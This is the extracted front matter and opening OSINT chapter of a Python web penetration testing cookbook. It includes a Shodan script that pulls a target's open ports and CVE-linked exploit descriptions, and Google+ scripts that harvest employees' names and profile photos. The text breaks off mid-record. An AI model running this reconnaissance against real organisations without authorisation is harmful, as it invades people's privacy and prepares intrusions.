09. Python Web Penetration Testing Cookbook.json

{
    "pages": [
        {
            "page_number": 1,
            "text": "1\n1\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 2,
            "text": "Python Web Penetration \nTesting Cookbook\nOver 60 indispensable Python recipes to ensure  \nyou always have the right code on hand for web  \napplication testing\nCameron Buchanan\nTerry Ip\nAndrew Mabbitt\nBenjamin May\nDave Mound\nBIRMINGHAM - MUMBAI\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 3,
            "text": "Python Web Penetration Testing Cookbook\nCopyright © 2015 Packt Publishing\nAll rights reserved. No part of this book may be reproduced, stored in a retrieval system, or \ntransmitted in any form or by any means, without the prior written permission of the publisher, \nexcept in the case of brief quotations embedded in critical articles or reviews.\nEvery effort has been made in the preparation of this book to ensure the accuracy of the \ninformation presented. However, the information contained in this book is sold without \nwarranty, either express or implied. Neither the authors, nor Packt Publishing, and its dealers \nand distributors will be held liable for any damages caused or alleged to be caused directly or \nindirectly by this book.\nPackt Publishing has endeavored to provide trademark information about all of the companies \nand products mentioned in this book by the appropriate use of capitals. However, Packt \nPublishing cannot guarantee the accuracy of this information.\nFirst published: June 2015\nProduction reference: 1180615\nPublished by Packt Publishing Ltd.\nLivery Place\n35 Livery Street\nBirmingham B3 2PB, UK.\nISBN 978-1-78439-293-2\nwww.packtpub.com\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 4,
            "text": "Credits\nAuthors\nCameron Buchanan\nTerry Ip\nAndrew Mabbitt\nBenjamin May\nDave Mound\nReviewers\nSam Brown\nJames Burns\nRejah Rehim\nIshbir Singh\nMatt Watkins\nCommissioning Editor\nSarah Crofton\nAcquisition Editor\nSam Wood\nContent Development Editor\nRiddhi Tuljapur\nTechnical Editor\nSaurabh Malhotra\nCopy Editors\nAmeesha Green\nRashmi Sawant\nSameen Siddiqui\nProject Coordinator\nKinjal Bari\nProofreader\nSafis Editing\nIndexer\nHemangini Bari\nGraphics\nSheetal Aute\nDisha Haria\nProduction Coordinator\nNitesh Thakur\nCover Work\nNitesh Thakur\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 5,
            "text": "About the Authors\nCameron Buchanan is a penetration tester by trade and a writer in his spare time. He has \nperformed penetration tests around the world for a variety of clients across many industries. \nPreviously, he was a member of the RAF. In his spare time, he enjoys doing stupid things, such \nas trying to make things fly, getting electrocuted, and dunking himself in freezing cold water. \nHe is married and lives in London.\nTerry Ip is a security consultant. After nearly a decade of learning how to support IT \ninfrastructure, he decided that it would be much more fun learning how to break it  \ninstead. He is married and lives in Buckinghamshire, where he tends to his chickens.\nAndrew Mabbitt is a penetration tester living in London, UK. He spends his time beating \ndown networks, mentoring, and helping newbies break into the industry. In his free time, he \nloves to travel, break things, and master the art of sarcasm.\nBenjamin May is a security test engineer from Cambridge. He studied computing  \nfor business at Aston University. With a background in software testing, he recently  \ncombined this with his passion for security to create a new role in his current company.  \nHe has a broad interest in security across all aspects of the technology field, from reverse \nengineering embedded devices to hacking with Python and participating in CTFs. He is a \nhusband and a father.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 6,
            "text": "Dave Mound is a security consultant. He is a Microsoft Certified Application Developer  \nbut spends more time developing Python programs these days. He has been studying \ninformation security since 1994 and holds the following qualifications: C|EH, SSCP, and \nMCAD. He recently studied for OSCP certification but is still to appear for the exam. He enjoys  \ntalking and presenting and is keen to pass on his skills to other members of the cyber  \nsecurity community.\nWhen not attached to a keyboard, he can be found tinkering with his 1978 Chevrolet Camaro. \nHe once wrestled a bear and was declared the winner by omoplata.\nThis book has been made possible through the benevolence and expertise \nof the Whitehatters Academy.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 7,
            "text": "About the Reviewers\nSam Brown is a security researcher based in the UK and has a background in software \nengineering and electronics. He is primarily interested in breaking things, building tools to \nhelp break things, and burning himself with a soldering iron.\nJames Burns is currently a security consultant, but with a technology career spanning over \n15 years, he has held positions ranging from a helpdesk phone answerer to a network cable \nuntangler, to technical architect roles. A network monkey at heart, he is happiest when he is \nup to his elbows in packets but has been known to turn his hand to most technical disciplines.\nWhen not working as a penetration tester, he has a varied range of other security interests, \nincluding scripting, vulnerability research, and intelligence gathering. He also has a long-time \ninterest in building and researching embedded Linux systems. While he's not very good at \nthem, he also enjoys the occasional CTF with friends. Occasionally, he gets out into the real \nworld and pursues his other hobby of cycling.\nI would like to thank my parents for giving me the passion to learn and the \nmeans to try. I would also like to thank my fantastic girlfriend, Claire, for \nwinking at me once; never before has a wink led to such a dramatic move. \nShe continues to support me in all that I do, even at her own expense. \nFinally, I should like to thank the youngest people in my household, Grace \nand Samuel, for providing me with the ultimate incentive for always trying to \nimprove myself. These are the greatest joys that a bloke could wish for.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 8,
            "text": "Rejah Rehim is currently a software engineer for Digital Brand Group (DBG), India and is a \nlong-time preacher of open source. He is a steady contributor to the Mozilla Foundation and \nhis name has featured in the San Francisco Monument made by the Mozilla Foundation.\nHe is part of the Mozilla Add-on Review Board and has contributed to the development of \nseveral node modules. He has also been credited with the creation of eight Mozilla add-ons, \nincluding the highly successful Clear Console add-on, which was selected as one of the best \nMozilla add-ons of 2013. With a user base of more than 44,000, it has registered more \nthan 4,50,000 downloads till date. He successfully created the world's first one-of-the-kind \nSecurity Testing Browser Bundle, PenQ, which is an open source Linux-based penetration \ntesting browser bundle, preconfigured with tools for spidering, advanced web searching, \nfingerprinting, and so on.\nHe is also an active member of the OWASP and the chapter leader of OWASP, Kerala.  \nHe is also one of the moderators of the OWASP Google+ group and an active speaker at \nCoffee@DBG, one of the premier monthly tech rendezvous in Technopark, Kerala. Besides \ncurrently being a part of the Cyber Security division of DBG and QBurst in previous years,  \nhe is also a fan of process automation and has implemented it in DBG.\nIshbir Singh is studying computer engineering and computer science at the Georgia \nInstitute of Technology. He's been programming since he was 9 and has built a wide variety \nof software, from those meant to run on a calculator to those intended for deployment in \nmultiple data centers around the world. Trained as a Microsoft Certified System Engineer \nand certified by Linux Professional Institute, he has also dabbled in reverse engineering, \ninformation security, hardware programming, and web development. His current interests lie \nin developing cryptographic peer-to-peer trustless systems, polishing his penetration testing \nskills, learning new languages (both human and computer), and playing table tennis.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 9,
            "text": "Matt Watkins is a final year computer networks and cyber security student. He has been \nthe Cyber Security Challenge master class finalist twice. Most of the time, you'll find him \nstudying, reading, writing, programming, or just generally breaking things. He also enjoys \ngetting his heart pumping, which includes activities such as running, hitting the gym, rock \nclimbing, and snowboarding.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 10,
            "text": "www.PacktPub.com\nSupport files, eBooks, discount offers, and more\nFor support files and downloads related to your book, please visit www.PacktPub.com.\nDid you know that Packt offers eBook versions of every book published, with PDF and ePub \nfiles available? You can upgrade to the eBook version at www.PacktPub.com and as a print \nbook customer, you are entitled to a discount on the eBook copy. Get in touch with us at \nservice@packtpub.com for more details.\nAt www.PacktPub.com, you can also read a collection of free technical articles, sign up  \nfor a range of free newsletters and receive exclusive discounts and offers on Packt books  \nand eBooks.\nTM\nhttps://www2.packtpub.com/books/subscription/packtlib\nDo you need instant solutions to your IT questions? PacktLib is Packt's online digital book \nlibrary. Here, you can search, access, and read Packt's entire library of books.\nWhy subscribe?\nf\nf\nFully searchable across every book published by Packt\nf\nf\nCopy and paste, print, and bookmark content\nf\nf\nOn demand and accessible via a web browser\nFree access for Packt account holders\nIf you have an account with Packt at www.PacktPub.com, you can use this to access \nPacktLib today and view 9 entirely free books. Simply use your login credentials for  \nimmediate access.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 11,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 12,
            "text": "Disclamer\nThis book contains details on how to perform attacks against web \napplications using Python scripts. In many circumstances, these attacks \nare likely to be illegal in your jurisdiction and can be considered terms \nof service violation and/or professional misconduct. The instructions \nin this book are provided for usage in the context of formal penetration \ntests to protect a system against attacks, which are conducted with the \npermission of a site owner.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 13,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 14,
            "text": "i\nTable of Contents\nPreface\t\nv\nChapter 1: Gathering Open Source Intelligence\t\n1\nIntroduction\t\n1\nGathering information using the Shodan API\t\n2\nScripting a Google+ API search\t\n7\nDownloading profile pictures using the Google+ API\t\n9\nHarvesting additional results from the Google+ API using pagination\t\n10\nGetting screenshots of websites with QtWebKit\t\n12\nScreenshots based on a port list\t\n15\nSpidering websites\t\n19\nChapter 2: Enumeration\t\n23\nIntroduction\t\n23\nPerforming a ping sweep with Scapy\t\n24\nScanning with Scapy\t\n28\nChecking username validity\t\n30\nBrute forcing usernames\t\n32\nEnumerating files\t\n34\nBrute forcing passwords\t\n36\nGenerating e-mail addresses from names\t\n39\nFinding e-mail addresses from web pages\t\n41\nFinding comments in source code\t\n43\nChapter 3: Vulnerability Identification\t\n47\nIntroduction\t\n47\nAutomated URL-based Directory Traversal\t\n48\nAutomated URL-based Cross-site scripting\t\n51\nAutomated parameter-based Cross-site scripting\t\n52\nAutomated fuzzing\t\n58\njQuery checking\t\n61\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 15,
            "text": "ii\nTable of Contents\nHeader-based Cross-site scripting\t\n64\nShellshock checking\t\n68\nChapter 4: SQL Injection\t\n71\nIntroduction\t\n71\nChecking jitter\t\n71\nIdentifying URL-based SQLi\t\n73\nExploiting Boolean SQLi\t\n76\nExploiting Blind SQL Injection\t\n79\nEncoding payloads\t\n83\nChapter 5: Web Header Manipulation\t\n87\nIntroduction\t\n87\nTesting HTTP methods\t\n88\nFingerprinting servers through HTTP headers\t\n90\nTesting for insecure headers\t\n92\nBrute forcing login through the Authorization header\t\n95\nTesting for clickjacking vulnerabilities\t\n97\nIdentifying alternative sites by spoofing user agents\t\n101\nTesting for insecure cookie flags\t\n104\nSession fixation through a cookie injection\t\n107\nChapter 6: Image Analysis and Manipulation\t\n109\nIntroduction\t\n109\nHiding a message using LSB steganography\t\n110\nExtracting messages hidden in LSB\t\n114\nHiding text in images\t\n115\nExtracting text from images\t\n119\nEnabling command and control using steganography\t\n126\nChapter 7: Encryption and Encoding\t\n135\nIntroduction\t\n136\nGenerating an MD5 hash\t\n136\nGenerating an SHA 1/128/256 hash\t\n137\nImplementing SHA and MD5 hashes together\t\n139\nImplementing SHA in a real-world scenario\t\n141\nGenerating a Bcrypt hash\t\n144\nCracking an MD5 hash\t\n146\nEncoding with Base64\t\n148\nEncoding with ROT13\t\n149\nCracking a substitution cipher\t\n150\nCracking the Atbash cipher\t\n153\nAttacking one-time pad reuse\t\n154\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 16,
            "text": "iii\nTable of Contents\nPredicting a linear congruential generator \t\n156\nIdentifying hashes\t\n158\nChapter 8: Payloads and Shells\t\n165\nIntroduction\t\n165\nExtracting data through HTTP requests\t\n165\nCreating an HTTP C2\t\n167\nCreating an FTP C2\t\n171\nCreating an Twitter C2\t\n174\nCreating a simple Netcat shell\t\n177\nChapter 9: Reporting\t\n181\nIntroduction\t\n181\nConverting Nmap XML to CSV\t\n182\nExtracting links from a URL to Maltego\t\n183\nExtracting e-mails to Maltego\t\n186\nParsing Sslscan into CSV\t\n188\nGenerating graphs using plot.ly\t\n189\nIndex\t\n195\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 17,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 18,
            "text": "v\nPreface\nWelcome to our book on Python and web application testing. Penetration testing is a massive \nfield and the realms of Python are even bigger. We hope that our little book can help you \nmake these enormous fields a little more manageable. If you're a Python guru, you can look \nfor ideas to apply your craft to penetration testing, or if you are a newbie Pythonist with some \npenetration testing chops, then you're in luck, this book is also for you.\nWhat this book covers\nChapter 1, Gathering Open Source Intelligence, covers a set of recipes for collecting information \nfrom freely available sources.\nChapter 2, Enumeration, guides you through creating scripts to retrieve the target information \nfrom websites and validating potential credentials.\nChapter 3, Vulnerability Identification, covers recipes based on identifying potential \nvulnerabilities on websites, such as Cross-site scripting, SQL Injection, and outdated plugins.\nChapter 4, SQL Injection, covers how to create scripts that target everyone's favorite web \napplication vulnerability.\nChapter 5, Web Header Manipulation, covers scripts that focus specifically on the collection, \ncontrol, and alteration of headers on web applications.\nChapter 6, Image Analysis and Manipulation, covers recipes designed to identify, reverse,  \nand replicate steganography in images.\nChapter 7, Encryption and Encoding, covers scripts that dip their toes into the massive lake \nthat is encryption.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 19,
            "text": "Preface\nvi\nChapter 8, Payloads and Shells, covers a small set of proof of concept C2 channels,  \nbasic post-exploitation scripts, and on server enumeration tools.\nChapter 9, Reporting, covers scripts that focus to make the reporting of vulnerabilities easier \nand a less painful process.\nWhat you need for this book\nYou will need a laptop, Python 2.7, an Internet connection for most recipes and a good sense \nof humor.\nWho this book is for\nThis book is for testers looking for quick access to powerful, modern tools and customizable \nscripts to kick-start the creation of their own Python web penetration testing toolbox.\nSections\nIn this book, you will find several headings that appear frequently (Getting ready, How to do it, \nHow it works, There's more, and See also).\nTo give clear instructions on how to complete a recipe, we use these sections as follows:\nGetting ready\nThis section tells you what to expect in the recipe, and describes how to set up any  \nsoftware or any preliminary settings required for the recipe.\nHow to do it…\nThis section contains the steps required to follow the recipe.\nHow it works…\nThis section usually consists of a detailed explanation of what happened in the  \nprevious section.\nThere's more…\nThis section consists of additional information about the recipe in order to make the reader \nmore knowledgeable about the recipe.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 20,
            "text": "Preface\nvii\nSee also\nThis section provides helpful links to other useful information for the recipe.\nConventions\nIn this book, you will find a number of text styles that distinguish between different kinds of \ninformation. Here are some examples of these styles and an explanation of their meaning.\nCode words in text, database table names, folder names, filenames, file extensions, \npathnames, dummy URLs, user input, and Twitter handles are shown as follows: \"first it sends \nthe HTTP GET request to the API server, then it reads in the response and stores the output \ninto an api_response variable.\"\nA block of code is set as follows:\nimport urllib2\nimport json\nGOOGLE_API_KEY = \"{Insert your Google API key}\"\ntarget = \"packtpub.com\"\napi_response =  \n  urllib2.urlopen(\"https://www.googleapis.com/plus/v1/people?  \n  query=\"+target+\"&key=\"+GOOGLE_API_KEY).read()\njson_response = json.loads(api_response)\nfor result in json_response['items']:\n      name = result['displayName']\n      print name\n      image = result['image']['url'].split('?')[0]\n  f = open(name+'.jpg','wb+')\n  f.write(urllib2.urlopen(image).read())\n  f.close()\nWhen we wish to draw your attention to a particular part of a code block, the relevant lines or \nitems are set in highlighted:\na = str((A * int(str(i)+'00') + C) % 2**M)\n    if a[-2:] == \"47\":\nAny command-line input or output is written as follows:\n$ pip install plotly\nQuery failed: ERROR: syntax error at or near\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 21,
            "text": "Preface\nviii\nNew terms and important words are shown in bold. Words that you see on the screen, \nfor example, in menus or dialog boxes, appear in the text like this: \"Click on API & auth | \nCredentials. Click on Create new key and Server key.\"\nWarnings or important notes appear in a box like this.\nTips and tricks appear like this.\nReader feedback\nFeedback from our readers is always welcome. Let us know what you think about this  \nbook—what you liked or disliked. Reader feedback is important for us as it helps us  \ndevelop titles that you will really get the most out of.\nTo send us general feedback, simply e-mail feedback@packtpub.com, and mention the \nbook's title in the subject of your message.\nIf there is a topic that you have expertise in and you are interested in either writing or \ncontributing to a book, see our author guide at www.packtpub.com/authors.\nCustomer support\nNow that you are the proud owner of a Packt book, we have a number of things to help you to \nget the most from your purchase.\nDownloading the example code\nYou can download the example code files from your account at http://www.packtpub.com \nfor all the Packt Publishing books you have purchased. If you purchased this book elsewhere, \nyou can visit http://www.packtpub.com/support and register to have the files e-mailed \ndirectly to you.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 22,
            "text": "Preface\nix\nErrata\nAlthough we have taken every care to ensure the accuracy of our content, mistakes do happen. \nIf you find a mistake in one of our books—maybe a mistake in the text or the code—we would be \ngrateful if you could report this to us. By doing so, you can save other readers from frustration \nand help us improve subsequent versions of this book. If you find any errata, please report them \nby visiting http://www.packtpub.com/submit-errata, selecting your book, clicking on \nthe Errata Submission Form link, and entering the details of your errata. Once your errata are \nverified, your submission will be accepted and the errata will be uploaded to our website or \nadded to any list of existing errata under the Errata section of that title.\nTo view the previously submitted errata, go to https://www.packtpub.com/books/\ncontent/support and enter the name of the book in the search field. The required \ninformation will appear under the Errata section.\nPiracy\nPiracy of copyrighted material on the Internet is an ongoing problem across all media.  \nAt Packt, we take the protection of our copyright and licenses very seriously. If you come \nacross any illegal copies of our works in any form on the Internet, please provide us with  \nthe location address or website name immediately so that we can pursue a remedy.\nPlease contact us at copyright@packtpub.com with a link to the suspected  \npirated material.\nWe appreciate your help in protecting our authors and our ability to bring you  \nvaluable content.\nQuestions\nIf you have a problem with any aspect of this book, you can contact us at  \nquestions@packtpub.com, and we will do our best to address the problem.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 23,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 24,
            "text": "1\n1\nGathering Open Source \nIntelligence\nIn this chapter, we will cover the following topics:\nf\nf\nGathering information using the Shodan API\nf\nf\nScripting a Google+ API search\nf\nf\nDownloading profile pictures using the Google+ API\nf\nf\nHarvesting additional results using the Google+ API pagination\nf\nf\nGetting screenshots of websites using QtWebKit\nf\nf\nScreenshots based on port lists\nf\nf\nSpidering websites\nIntroduction\nOpen Source Intelligence (OSINT) is the process of gathering information from Open (overt) \nsources. When it comes to testing a web application, that might seem a strange thing to do. \nHowever, a great deal of information can be learned about a particular website before even \ntouching it. You might be able to find out what server-side language the website is written in, \nthe underpinning framework, or even its credentials. Learning to use APIs and scripting these \ntasks can make the bulk of the gathering phase a lot easier.\nIn this chapter, we will look at a few of the ways we can use Python to leverage the power of \nAPIs to gain insight into our target.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 25,
            "text": "Gathering Open Source Intelligence\n2\nGathering information using the Shodan API\nShodan is essentially a vulnerability search engine. By providing it with a name, an IP address, \nor even a port, it returns all the systems in its databases that match. This makes it one of \nthe most effective sources for intelligence when it comes to infrastructure. It's like Google for \ninternet-connected devices. Shodan constantly scans the Internet and saves the results into \na public database. Whilst this database is searchable from the Shodan website (https://\nwww.shodan.io), the results and services reported on are limited, unless you access it \nthrough the Application Programming Interface (API).\nOur task for this section will be to gain information about the Packt Publishing website by \nusing the Shodan API.\nGetting ready\nAt the time of writing this, Shodan membership is $49, and this is needed to get an API key.  \nIf you're serious about security, access to Shodan is invaluable.\nIf you don't already have an API key for Shodan, visit www.shodan.io/store/member \nand sign up for it. Shodan has a really nice Python library, which is also well documented at \nhttps://shodan.readthedocs.org/en/latest/.\nTo get your Python environment set up to work with Shodan, all you need to do is simply  \ninstall the library using cheeseshop:\n$ easy_install shodan\nHow to do it…\nHere's the script that we are going to use for this task:\nimport shodan\nimport requests\nSHODAN_API_KEY = \"{Insert your Shodan API key}\" \napi = shodan.Shodan(SHODAN_API_KEY)\ntarget = 'www.packtpub.com'\ndnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' +  \n  target + '&key=' + SHODAN_API_KEY\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 26,
            "text": "Chapter 1\n3\ntry:\n    # First we need to resolve our targets domain to an IP\n    resolved = requests.get(dnsResolve)\n    hostIP = resolved.json()[target]\n    # Then we need to do a Shodan search on that IP\n    host = api.host(hostIP)\n    print \"IP: %s\" % host['ip_str']\n    print \"Organization: %s\" % host.get('org', 'n/a')\n    print \"Operating System: %s\" % host.get('os', 'n/a')\n    # Print all banners\n    for item in host['data']:\n        print \"Port: %s\" % item['port']\n        print \"Banner: %s\" % item['data']\n    # Print vuln information\n    for item in host['vulns']:\n        CVE = item.replace('!','')\n        print 'Vulns: %s' % item\n        exploits = api.exploits.search(CVE)\n        for item in exploits['matches']:\n            if item.get('cve')[0] == CVE:\n                print item.get('description')\nexcept:\n    'An error occured'\nThe preceding script should produce an output similar to the following:\nIP: 83.166.169.231\nOrganization: Node4 Limited\nOperating System: None\nPort: 443\nBanner: HTTP/1.0 200 OK\nServer: nginx/1.4.5\nDate: Thu, 05 Feb 2015 15:29:35 GMT\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 27,
            "text": "Gathering Open Source Intelligence\n4\nContent-Type: text/html; charset=utf-8\nTransfer-Encoding: chunked\nConnection: keep-alive\nExpires: Sun, 19 Nov 1978 05:00:00 GMT\nCache-Control: public, s-maxage=172800\nAge: 1765\nVia: 1.1 varnish\nX-Country-Code: US\nPort: 80\nBanner: HTTP/1.0 301 https://www.packtpub.com/\nLocation: https://www.packtpub.com/\nAccept-Ranges: bytes\nDate: Fri, 09 Jan 2015 12:08:05 GMT\nAge: 0\nVia: 1.1 varnish\nConnection: close\nX-Country-Code: US\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 28,
            "text": "Chapter 1\n5\nServer: packt\nVulns: !CVE-2014-0160\nThe (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before  \n  1.0.1g do not properly handle Heartbeat Extension packets, which  \n  allows remote attackers to obtain sensitive information from  \n  process memory via crafted packets that trigger a buffer over-read,  \n  as demonstrated by reading private keys, related to d1_both.c and  \n  t1_lib.c, aka the Heartbleed bug.\nI've just chosen a few of the available data items that Shodan returns, but you can see  \nthat we get a fair bit of information back. In this particular instance, we can see that there  \nis a potential vulnerability identified. We also see that this server is listening on ports 80 and \n443 and that according to the banner information, it appears to be running nginx as the \nHTTP server.\nHow it works…\n1.\t Firstly, we set up our static strings within the code; this includes our API key:\nSHODAN_API_KEY = \"{Insert your Shodan API key}\" \ntarget = 'www.packtpub.com'\ndnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + \ntarget + '&key=' + SHODAN_API_KEY\n2.\t The next step is to create our API object:\napi = shodan.Shodan(SHODAN_API_KEY)\n3.\t In order to search for information on a host using the API, we need to know the host's \nIP address. Shodan has a DNS resolver but it's not included in the Python library.  \nTo use Shodan's DNS resolver, we simply have to make a GET request to the Shodan \nDNS Resolver URL and pass it the domain (or domains) we are interested in:\nresolved = requests.get(dnsResolve)\nhostIP = resolved.json()[target] \n4.\t The returned JSON data will be a dictionary of domains to IP addresses; as we  \nonly have one target in our case, we can simply pull out the IP address of our host \nusing the target string as the key for the dictionary. If you were searching on \nmultiple domains, you would probably want to iterate over this list to obtain all  \nthe IP addresses.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 29,
            "text": "Gathering Open Source Intelligence\n6\n5.\t Now, we have the host's IP address, we can use the Shodan libraries host function \nto obtain information on our host. The returned JSON data contains a wealth of \ninformation about the host, though in our case we will just pull out the IP address, \norganization, and if possible the operating system that is running. Then we will loop \nover all of the ports that were found to be open and their respective banners:\n    host = api.host(hostIP)\n    print \"IP: %s\" % host['ip_str']\n    print \"Organization: %s\" % host.get('org', 'n/a')\n    print \"Operating System: %s\" % host.get('os', 'n/a')\n    # Print all banners\n    for item in host['data']:\n        print \"Port: %s\" % item['port']\n        print \"Banner: %s\" % item['data']\n6.\t The returned data may also contain potential Common Vulnerabilities and \nExposures (CVE) numbers for vulnerabilities that Shodan thinks the server may be \nsusceptible to. This could be really beneficial to us, so we will iterate over the list \nof these (if there are any) and use another function from the Shodan library to get \ninformation on the exploit:\nfor item in host['vulns']:\n        CVE = item.replace('!','')\n        print 'Vulns: %s' % item\n        exploits = api.exploits.search(CVE)\n        for item in exploits['matches']:\n            if item.get('cve')[0] == CVE:\n                print item.get('description')\nThat's it for our script. Try running it against your own server.\nThere's more…\nWe've only really scratched the surface of the Shodan Python library with our script. It is well \nworth reading through the Shodan API reference documentation and playing around with the \nother search options. You can filter results based on \"facets\" to narrow down your searches. \nYou can even use searches that other users have saved using the \"tags\" search.\nDownloading the example code\nYou can download the example code files from your account at \nhttp://www.packtpub.com for all the Packt Publishing books \nyou have purchased. If you purchased this book elsewhere, you can \nvisit http://www.packtpub.com/support and register to have \nthe files e-mailed directly to you.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 30,
            "text": "Chapter 1\n7\nScripting a Google+ API search\nSocial media is a great way to gather information on a target company or person. Here, we will \nbe showing you how to script a Google+ API search to find contact information for a company \nwithin the Google+ social sites.\nGetting ready\nSome Google APIs require authorization to access them, but if you have a Google account, \ngetting the API key is easy. Just go to https://console.developers.google.com and \ncreate a new project. Click on API & auth | Credentials. Click on Create new key and Server \nkey. Optionally enter your IP or just click on Create. Your API key will be displayed and ready to \ncopy and paste into the following recipe.\nHow to do it…\nHere's a simple script to query the Google+ API:\nimport urllib2\nGOOGLE_API_KEY = \"{Insert your Google API key}\" \ntarget = \"packtpub.com\"\napi_response =  \n  urllib2.urlopen(\"https://www.googleapis.com/plus/v1/people?  \n  query=\"+target+\"&key=\"+GOOGLE_API_KEY).read()\napi_response = api_response.split(\"\\n\")\nfor line in api_response:\n    if \"displayName\" in line:\n        print line\nHow it works…\nThe preceding code makes a request to the Google+ search API (authenticated with your \nAPI key) and searches for accounts matching the target; packtpub.com. Similarly to the \npreceding Shodan script, we set up our static strings including the API key and target:\nGOOGLE_API_KEY = \"{Insert your Google API key}\" \ntarget = \"packtpub.com\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 31,
            "text": "Gathering Open Source Intelligence\n8\nThe next step does two things: first, it sends the HTTP GET request to the API server, then it \nreads in the response and stores the output into an api_response variable:\napi_response =  \n  urllib2.urlopen(\"https://www.googleapis.com/plus/v1/people?  \n  query=\"+target+\"&key=\"+GOOGLE_API_KEY).read()\nThis request returns a JSON formatted response; an example snippet of the results is  \nshown here:\nIn our script, we convert the response into a list so it's easier to parse:\napi_response = api_response.split(\"\\n\")\nThe final part of the code loops through the list and prints only the lines that contain \ndisplayName, as shown here:\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 32,
            "text": "Chapter 1\n9\nSee also…\nIn the next recipe, Downloading profile pictures using the Google+ API, we will look at \nimproving the formatting of these results.\nThere's more… \nBy starting with a simple script to query the Google+ API, we can extend it to be more efficient \nand make use of more of the data returned. Another key aspect of the Google+ platform is \nthat users may also have a matching account on another of Google's services, which means \nyou can cross-reference accounts. Most Google products have an API available to developers, \nso a good place to start is https://developers.google.com/products/. Grab an API \nkey and plug the output from the previous script into it.\nDownloading profile pictures using the \nGoogle+ API\nNow that we have established how to use the Google+ API, we can design a script to pull down \npictures. The aim here is to put faces to names taken from web pages. We will send a request \nto the API through a URL, handle the response through JSON, and create picture files in the \nworking directory of the script.\nHow to do it\nHere's a simple script to download profile pictures using the Google+ API:\nimport urllib2\nimport json\nGOOGLE_API_KEY = \"{Insert your Google API key}\"\ntarget = \"packtpub.com\"\napi_response =  \n  urllib2.urlopen(\"https://www.googleapis.com/plus/v1/people?  \n  query=\"+target+\"&key=\"+GOOGLE_API_KEY).read()\njson_response = json.loads(api_response)\nfor result in json_response['items']:\n      name = result['displayName']\n      print name\n      image = result['image']['url'].split('?')[0]\n  f = open(name+'.jpg','wb+')\n  f.write(urllib2.urlopen(image).read())\n  f.close()\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 33,
            "text": "Gathering Open Source Intelligence\n10\nHow it works\nThe first change is to store the display name into a variable, as this is then reused later on:\n      name = result['displayName']\n      print name\nNext, we grab the image URL from the JSON response:\nimage = result['image']['url'].split('?')[0]\nThe final part of the code does a number of things in three simple lines: firstly it opens a file \non the local disk, with the filename set to the name variable. The wb+ flag here indicates to \nthe OS that it should create the file if it doesn't exist and to write the data in a raw binary \nformat. The second line makes a HTTP GET request to the image URL (stored in the image \nvariable) and writes the response into the file. Finally, the file is closed to free system memory \nused to store the file contents:\n  f = open(name+'.jpg','wb+')\n  f.write(urllib2.urlopen(image).read())\n  f.close()\nAfter the script is run, the console output will be the same as before, with the display  \nnames shown. However, your local directory will now also contain all the profile images,  \nsaved as JPEG files.\nHarvesting additional results from the \nGoogle+ API using pagination\nBy default, the Google+ APIs return a maximum of 25 results, but we can extend the previous \nscripts by increasing the maximum value and harvesting more results through pagination. As \nbefore, we will communicate with the Google+ API through a URL and the urllib library. We \nwill create arbitrary numbers that will increase as requests go ahead, so we can move across \npages and gather more results.\nHow to do it\nThe following script shows how you can harvest additional results from the Google+ API:\nimport urllib2\nimport json\nGOOGLE_API_KEY = \"{Insert your Google API key}\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 34,
            "text": "Chapter 1\n11\ntarget = \"packtpub.com\"\ntoken = \"\"\nloops = 0\nwhile loops < 10:\n  api_response =  \n  urllib2.urlopen(\"https://www.googleapis.com/plus/v1/people?  \n  query=\"+target+\"&key=\"+GOOGLE_API_KEY+\"&maxResults=50&  \n  pageToken=\"+token).read()\n  json_response = json.loads(api_response)\n  token = json_response['nextPageToken']\n  if len(json_response['items']) == 0:\n    break\n  for result in json_response['items']:\n        name = result['displayName']\n        print name\n        image = result['image']['url'].split('?')[0]\n    f = open(name+'.jpg','wb+')\n    f.write(urllib2.urlopen(image).read())\n  loops+=1\nHow it works\nThe first big change in this script that is the main code has been moved into a while loop:\ntoken = \"\"\nloops = 0\nwhile loops < 10:\nHere, the number of loops is set to a maximum of 10 to avoid sending too many requests to \nthe API servers. This value can of course be changed to any positive integer. The next change \nis to the request URL itself; it now contains two additional trailing parameters maxResults \nand pageToken. Each response from the Google+ API contains a pageToken value, which is \na pointer to the next set of results. Note that if there are no more results, a pageToken value \nis still returned. The maxResults parameter is self-explanatory, but can only be increased to \na maximum of 50:\n  api_response =  \n  urllib2.urlopen(\"https://www.googleapis.com/plus/v1/people?  \n  query=\"+target+\"&key=\"+GOOGLE_API_KEY+\"&maxResults=50&  \n  pageToken=\"+token).read()\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 35,
